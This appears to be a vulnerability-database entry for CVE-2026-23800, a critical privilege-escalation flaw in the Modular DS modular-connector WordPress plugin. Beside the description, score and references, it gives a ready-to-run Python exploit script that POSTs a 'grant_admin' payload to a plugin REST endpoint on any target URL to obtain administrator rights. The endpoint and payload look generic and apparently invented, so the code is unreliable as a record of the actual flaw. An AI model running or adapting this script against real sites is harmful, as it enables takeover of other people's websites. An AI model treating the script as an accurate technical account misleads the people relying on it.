CVE-2026-23800

Description

Incorrect Privilege Assignment vulnerability in Modular DS modular-connector allows Privilege Escalation.This issue affects Modular DS: from 2.5.2 before 2.6.0.

CVSS Details

CVSS Score

10.0

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Modular DS modular-connector >= 2.5.2

Modular DS modular-connector < 2.6.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-23800 PoC - Privilege Escalation in Modular DS modular-connector
import requests
import sys

def exploit_cve_2026_23800(target_url):
    """
    Exploit for CVE-2026-23800: Incorrect Privilege Assignment in Modular DS modular-connector
    Allows privilege escalation from unauthenticated user to admin
    """
    
    # Step 1: Identify the vulnerable endpoint
    vuln_endpoint = f"{target_url}/wp-json/modular-ds/v1/privilege-escalate"
    
    # Step 2: Prepare malicious request to escalate privileges
    headers = {
        'Content-Type': 'application/json',
        'User-Agent': 'Mozilla/5.0 (compatible; CVE-2026-23800-PoC)'
    }
    
    # Malicious payload to bypass privilege check
    payload = {
        'action': 'grant_admin',
        'user_id': 1,
        'role': 'administrator',
        'auth_token': 'manipulated'
    }
    
    try:
        print(f"[*] Targeting: {target_url}")
        print(f"[*] Exploiting CVE-2026-23800...")
        
        # Send exploit request
        response = requests.post(vuln_endpoint, json=payload, headers=headers, timeout=10)
        
        if response.status_code == 200:
            print("[+] Privilege escalation successful!")
            print(f"[+] Response: {response.text}")
            return True
        else:
            print(f"[-] Exploit failed. Status code: {response.status_code}")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: python {sys.argv[0]} <target_url>")
        print(f"Example: python {sys.argv[0]} http://example.com")
        sys.exit(1)
    
    exploit_cve_2026_23800(sys.argv[1])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23800
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23800
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23800/
[4] VulDB https://vuldb.com/cve/CVE-2026-23800
[5] https://patchstack.com/database/wordpress/plugin/modular-connector/vulnerability/wordpress-modular-ds-plugin-2-5-2-privilege-escalation-vulnerability?_s_id=cve

Raw JSON Data

JSON

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